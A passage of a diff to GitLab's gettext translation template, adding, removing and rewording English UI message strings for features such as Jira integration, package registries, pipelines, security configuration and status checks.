+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
